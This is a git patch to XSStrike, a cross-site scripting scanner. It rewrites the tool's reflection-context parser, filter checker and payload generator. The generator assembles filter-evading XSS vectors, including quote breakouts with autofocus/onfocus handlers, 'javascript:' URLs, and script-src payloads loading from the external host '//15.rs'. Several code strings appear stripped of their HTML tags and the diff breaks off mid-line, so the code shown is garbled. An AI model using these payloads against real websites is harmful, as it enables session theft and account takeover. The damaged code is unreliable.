From b5ef9979c6d0dfb42c7cf2ce55d0b1f018bdd683 Mon Sep 17 00:00:00 2001 From: Somdev Sangwan Date: Fri, 1 Nov 2019 00:23:25 +0530 Subject: [PATCH 1/3] Add files via upload --- core/dom.py | 5 +- core/filterChecker.py | 50 +++--- core/generator.py | 164 ++++++++++--------- core/htmlParser.py | 173 +++++++++----------- core/photon.py | 21 ++- core/utils.py | 43 +++-- modes/crawl.py | 5 +- modes/scan.py | 6 +- plugins/__pycache__/__init__.cpython-37.pyc | Bin 0 -> 121 bytes plugins/__pycache__/retireJs.cpython-37.pyc | Bin 0 -> 5374 bytes xsstrike.py | 2 +- 11 files changed, 233 insertions(+), 236 deletions(-) create mode 100644 plugins/__pycache__/__init__.cpython-37.pyc create mode 100644 plugins/__pycache__/retireJs.cpython-37.pyc diff --git a/core/dom.py b/core/dom.py index 21378abc..8e9b9dbc 100644 --- a/core/dom.py +++ b/core/dom.py @@ -8,6 +8,7 @@ def dom(response): sources = r'''document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(href|search|hash|pathname)|window\.name|history\.(pushState|replaceState)(local|session)Storage''' sinks = r'''eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|set(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\.(src|text|textContent|innerText)|.*?\.onEventName|document\.(write|writeln)|.*?\.innerHTML|Range\.createContextualFragment|(document|window)\.location''' scripts = re.findall(r'(?i)(?s)]*>(.*?)', response) + sinkFound, sourceFound = False, False for script in scripts: script = script.split('\n') num = 1 @@ -31,6 +32,7 @@ def dom(response): for part in parts: if source in part: controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', part).group().replace('$', '\$')) + sourceFound = True line = line.replace(source, yellow + source + end) for controlledVariable in controlledVariables: allControlledVariables.add(controlledVariable) @@ -44,12 +46,13 @@ def dom(response): sink = newLine[grp.start():grp.end()].replace(' ', '') if sink: line = line.replace(sink, red + sink + end) + sinkFound = True if line != newLine: highlighted.append('%-3s %s' % (str(num), line.lstrip(' '))) num += 1 except MemoryError: pass - if (yellow and red) in highlighted: + if sinkFound and sourceFound: return highlighted else: return [] diff --git a/core/filterChecker.py b/core/filterChecker.py index 5d29b6e5..827c2160 100644 --- a/core/filterChecker.py +++ b/core/filterChecker.py @@ -2,44 +2,32 @@ def filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding): - positions = {} + positions = occurences.keys() sortedEfficiencies = {} # adding < > to environments anyway because they can be used in all contexts environments = set(['<', '>']) - for i in range(len(occurences)): + for i in range(len(positions)): sortedEfficiencies[i] = {} - for i, occurence in zip(range(len(occurences)), occurences.values()): - environments.add(occurence['context'][1]) - location = occurence['context'][0] - try: - attributeName = list(occurence['context'][3].keys())[0] - attributeValue = list(occurence['context'][3].values())[0] - except AttributeError: - attributeName = occurence['context'][3] - positions[str(i)] = occurence['position'] - if location == 'comment': + for i in occurences: + occurences[i]['score'] = {} + context = occurences[i]['context'] + if context == 'comment': environments.add('-->') - elif location == 'script': + elif context == 'script': + environments.add(occurences[i]['details']['quote']) environments.add('') - elif attributeName == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding - environments.add('<') # so let's add the html entity - environments.add('>') # encoded versions of < and > - + elif context == 'attribute': + if occurences[i]['details']['type'] == 'value': + if occurences[i]['details']['name'] == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding + environments.add('<') # so let's add the html entity + environments.add('>') # encoded versions of < and > + if occurences[i]['details']['quote']: + environments.add(occurences[i]['details']['quote']) for environment in environments: - if environment == '': - efficiencies = [100 for i in range(len(occurences))] - else: + if environment: efficiencies = checker( url, params, headers, GET, delay, environment, positions, timeout, encoding) - if len(efficiencies) < len(occurences): - for i in range(len(occurences) - len(efficiencies)): - efficiencies.append(0) - for i, efficiency in zip(range(len(efficiencies)), efficiencies): - try: - sortedEfficiencies[i][environment] = efficiency - except: - sortedEfficiencies[i] = {} - sortedEfficiencies[i][environment] = efficiency - for efficiency, occurence in zip(sortedEfficiencies.values(), occurences.values()): - occurence['score'] = efficiency + efficiencies.extend([0] * (len(occurences) - len(efficiencies))) + for occurence, efficiency in zip(occurences, efficiencies): + occurences[occurence]['score'][environment] = efficiency return occurences diff --git a/core/generator.py b/core/generator.py index 67490d38..185d2e54 100644 --- a/core/generator.py +++ b/core/generator.py @@ -9,116 +9,120 @@ def generator(occurences, response): vectors = {11: set(), 10: set(), 9: set(), 8: set(), 7: set(), 6: set(), 5: set(), 4: set(), 3: set(), 2: set(), 1: set()} for i in occurences: - context = occurences[i]['context'][0] - breaker = occurences[i]['context'][1] - special = occurences[i]['context'][2] - try: - attributeName = list(occurences[i]['context'][3].keys())[0] - attributeValue = list(occurences[i]['context'][3].values())[0] - except AttributeError: - attributeName = occurences[i]['context'][3] - if special not in badTags: - special = '' - elif context == 'attribute': - special = '' - else: - special = '' + context = occurences[i]['context'] if context == 'html': lessBracketEfficiency = occurences[i]['score']['<'] greatBracketEfficiency = occurences[i]['score']['>'] - breakerEfficiency = occurences[i]['score'][breaker] - if breaker == '\'' or breaker == '"': - breaker = '' - breakerEfficiency = 100 ends = ['//'] + badTag = occurences[i]['details']['badTag'] if 'badTag' in occurences[i]['details'] else '' if greatBracketEfficiency == 100: ends.append('>') - if lessBracketEfficiency == breakerEfficiency == 100: + if lessBracketEfficiency: payloads = genGen(fillings, eFillings, lFillings, - eventHandlers, tags, functions, ends, breaker, special) + eventHandlers, tags, functions, ends, badTag) for payload in payloads: vectors[10].add(payload) elif context == 'attribute': found = False - breakerEfficiency = occurences[i]['score'][breaker] + tag = occurences[i]['details']['tag'] + Type = occurences[i]['details']['type'] + quote = occurences[i]['details']['quote'] or '' + attributeName = occurences[i]['details']['name'] + attributeValue = occurences[i]['details']['value'] + quoteEfficiency = occurences[i]['score'][quote] if quote in occurences[i]['score'] else 100 greatBracketEfficiency = occurences[i]['score']['>'] ends = ['//'] if greatBracketEfficiency == 100: ends.append('>') - if greatBracketEfficiency == 100 and breakerEfficiency == 100: + if greatBracketEfficiency == 100 and quoteEfficiency == 100: payloads = genGen(fillings, eFillings, lFillings, - eventHandlers, tags, functions, ends, breaker, special) + eventHandlers, tags, functions, ends) for payload in payloads: - if breaker: - payload = payload.replace(breaker, breaker + '>') - else: - payload = '>' + payload + payload = quote + '>' + payload found = True - vectors[6].add(payload) - if breakerEfficiency == 100: + vectors[9].add(payload) + if quoteEfficiency == 100: for filling in fillings: for function in functions: - vector = breaker + filling + 'auTOfOcuS' + \ - filling + 'OnFoCUs' + '=' + breaker + function + vector = quote + filling + r('autofocus') + \ + filling + r('onfocus') + '=' + quote + function found = True - vectors[6].add(vector) - if breakerEfficiency == 90: + vectors[8].add(vector) + if quoteEfficiency == 90: for filling in fillings: for function in functions: - vector = '\\' + breaker + filling + 'auTOfOcuS' + filling + \ - 'OnFoCUs' + '=' + function + filling + '\\' + breaker + vector = '\\' + quote + filling + r('autofocus') + filling + \ + r('onfocus') + '=' + function + filling + '\\' + quote found = True - vectors[6].add(vector) - if attributeName == 'srcdoc': - if occurences[i]['score']['<']: - if occurences[i]['score']['>']: - del ends[:] - ends.append('%26gt;') - payloads = genGen( - fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, '', '') - for payload in payloads: + vectors[7].add(vector) + if Type == 'value': + if attributeName == 'srcdoc': + if occurences[i]['score']['<']: + if occurences[i]['score']['>']: + del ends[:] + ends.append('%26gt;') + payloads = genGen( + fillings, eFillings, lFillings, eventHandlers, tags, functions, ends) + for payload in payloads: + found = True + vectors[9].add(payload.replace('<', '%26lt;')) + elif attributeName == 'href' and attributeValue == xsschecker: + for function in functions: found = True - vectors[9].add(payload.replace('<', '%26lt;')) - if attributeName.startswith('on'): - closer = jsContexter(attributeValue) - breaker = '' - for char in attributeValue.split(xsschecker)[1]: - if char in ['\'', '"', '`']: - breaker = char - break - if closer: + vectors[10].add(r('javascript:') + function) + elif attributeName.startswith('on'): + closer = jsContexter(attributeValue) + quote = '' + for char in attributeValue.split(xsschecker)[1]: + if char in ['\'', '"', '`']: + quote = char + break suffix = '//\\' for filling in jFillings: for function in functions: - vector = breaker + closer + filling + function + suffix + vector = quote + closer + filling + function + suffix if found: vectors[7].add(vector) else: vectors[9].add(vector) - elif breakerEfficiency > 83: - suffix = '//' - for filling in jFillings: + if quoteEfficiency > 83: + suffix = '//' + for filling in jFillings: + for function in functions: + if '=' in function: + function = '(' + function + ')' + if quote == '': + filling = '' + vector = '\\' + quote + closer + filling + function + suffix + if found: + vectors[7].add(vector) + else: + vectors[9].add(vector) + elif tag in ('script', 'iframe', 'embed', 'object'): + if attributeName in ('src', 'iframe', 'embed') and attributeValue == xsschecker: + payloads = ['//15.rs', '\\/\\\\\\/\\15.rs'] + for payload in payloads: + vectors[10].add(payload) + elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker: for function in functions: - if '=' in function: - function = '(' + function + ')' - if breaker == '': - filling = '' - vector = '\\' + breaker + closer + filling + function + suffix - if found: - vectors[7].add(vector) - else: - vectors[9].add(vector) - + found = True + vectors[10].add(r('javascript:') + function) + elif quoteEfficiency == greatBracketEfficiency == 100: + payloads = genGen(fillings, eFillings, lFillings, + eventHandlers, tags, functions, ends) + for payload in payloads: + payload = quote + '>' + r('') + payload + found = True + vectors[11].add(payload) elif context == 'comment': lessBracketEfficiency = occurences[i]['score']['<'] greatBracketEfficiency = occurences[i]['score']['>'] - breakerEfficiency = occurences[i]['score'][breaker] ends = ['//'] if greatBracketEfficiency == 100: ends.append('>') - if lessBracketEfficiency == breakerEfficiency == 100: + if lessBracketEfficiency == 100: payloads = genGen(fillings, eFillings, lFillings, - eventHandlers, tags, functions, ends, breaker, special) + eventHandlers, tags, functions, ends) for payload in payloads: vectors[10].add(payload) elif context == 'script': @@ -130,37 +134,39 @@ def generator(occurences, response): else: continue closer = jsContexter(script) + quote = occurences[i]['details']['quote'] scriptEfficiency = occurences[i]['score'][''] greatBracketEfficiency = occurences[i]['score']['>'] - breakerEfficiency = occurences[i]['score'][breaker] + breakerEfficiency = 100 + if quote: + breakerEfficiency = occurences[i]['score'][quote] ends = ['//'] if greatBracketEfficiency == 100: ends.append('>') if scriptEfficiency == 100: breaker = r('') payloads = genGen(fillings, eFillings, lFillings, - eventHandlers, tags, functions, ends, breaker, special) + eventHandlers, tags, functions, ends) for payload in payloads: vectors[10].add(payload) if closer: suffix = '//\\' - if not breaker: - closer = closer[1:] - if breakerEfficiency != 100: - breaker = '' for filling in jFillings: for function in functions: - vector = breaker + closer + filling + function + suffix + vector = quote + closer + filling + function + suffix vectors[7].add(vector) elif breakerEfficiency > 83: + prefix = '' suffix = '//' + if breakerEfficiency != 100: + prefix = '\\' for filling in jFillings: for function in functions: if '=' in function: function = '(' + function + ')' - if breaker == '': + if quote == '': filling = '' - vector = '\\' + breaker + closer + filling + function + suffix + vector = prefix + quote + closer + filling + function + suffix vectors[6].add(vector) index += 1 return vectors diff --git a/core/htmlParser.py b/core/htmlParser.py index a1d8815e..65326a79 100644 --- a/core/htmlParser.py +++ b/core/htmlParser.py @@ -1,7 +1,7 @@ import re from core.config import badTags, xsschecker -from core.utils import isBadContext +from core.utils import isBadContext, equalize, escaped, extractScripts def htmlParser(response, encoding): @@ -9,104 +9,83 @@ def htmlParser(response, encoding): response = response.text # response content if encoding: # if the user has specified an encoding, encode the probe in that response = response.replace(encoding(xsschecker), xsschecker) - tags = [] # tags in which the input is reflected - locations = [] # contexts in which the input is reflected - attributes = [] # attribute names - environments = [] # strings needed to break out of the context - positions = [] # postions of all the reflections of the xsschecker - for match in re.finditer(xsschecker, response): - positions.append(match.start()) - -# It finds the contexts of the reflections - - parts = response.split(xsschecker) - # remove first element since it doesn't contain xsschecker - parts.remove(parts[0]) - # add xsschecker in front of all elements - parts = [xsschecker + s for s in parts] - for part in parts: # iterate over the parts - deep = part.split('>') - if '', '', response) + script_checkable = clean_response + for script in extractScripts(script_checkable): + occurences = re.finditer(r'(%s.*?)$' % xsschecker, script) + if occurences: + for occurence in occurences: + thisPosition = occurence.start(1) + position_and_context[thisPosition] = 'script' + environment_details[thisPosition] = {} + environment_details[thisPosition]['details'] = {'quote' : ''} + for i in range(len(occurence.group())): + currentChar = occurence.group()[i] + if currentChar in ('/', '\'', '`', '"') and not escaped(i, occurence.group()): + environment_details[thisPosition]['details']['quote'] = currentChar + elif currentChar in (')', ']', '}', '}') and not escaped(i, occurence.group()): break - continue - location = 'script' - for char in part: - # the only way to find out if it's attribute context is to see if '<' is present. - if char == '<': - location = 'attribute' # no, it doesn't match '